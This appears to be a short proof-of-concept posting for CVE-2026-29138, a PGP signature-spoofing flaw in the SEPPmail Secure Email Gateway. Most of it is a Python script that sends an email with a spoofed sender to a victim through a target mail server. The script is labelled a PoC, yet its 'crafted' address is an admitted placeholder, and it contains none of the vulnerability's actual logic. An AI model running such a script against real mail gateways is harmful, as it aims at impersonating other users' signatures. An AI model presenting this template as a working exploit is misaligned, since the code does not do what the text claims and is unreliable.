SEPPmail Secure Email Gateway before version 15.0.3 allows attackers with a specially crafted email address to claim another user's PGP signature as their own.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2026-29138: SEPPmail Secure Email Gateway PGP Signature Spoofing
Description: This script demonstrates the concept of crafting an email address
to claim another user's PGP signature.
"""
import smtplib
from email.mime.text import MIMEText
def send_spoofed_poc(target_server, target_port, victim_email, spoofed_sender):
"""
Sends a crafted email to the vulnerable SEPPmail Gateway.
Args:
target_server (str): The IP or hostname of the target mail server.
target_port (int): The SMTP port (usually 25).
victim_email (str): The email address of the victim whose signature is being claimed.
spoofed_sender (str): The specially crafted email address used by the attacker.
"""
# Construct the message
msg = MIMEText("This is a test message attempting to spoof the PGP signature.")
msg['Subject'] = 'PoC Test CVE-2026-29138'
msg['From'] = spoofed_sender
msg['To'] = victim_email
try:
print(f"[*] Connecting to {target_server}:{target_port}...")
# Note: In a real scenario, this connects to the vulnerable appliance
with smtplib.SMTP(target_server, target_port) as server:
server.starttls() # Use TLS if required
# server.login(username, password) # Not needed as PR:N
print(f"[*] Sending crafted mail from: {spoofed_sender}")
server.sendmail(spoofed_sender, [victim_email], msg.as_string())
print("[+] Email sent successfully. Check if the signature is wrongly attributed.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Configuration
TARGET = "mail.example.com" # Replace with target SEPPmail Gateway
VICTIM = "[email protected]"
# The crafted address format depends on the specific exploit logic (e.g., injection or parsing trick)
ATTACKER_CRAFTED_ADDR = "[email protected]" # Simplified for PoC structure
send_spoofed_poc(TARGET, 25, VICTIM, ATTACKER_CRAFTED_ADDR)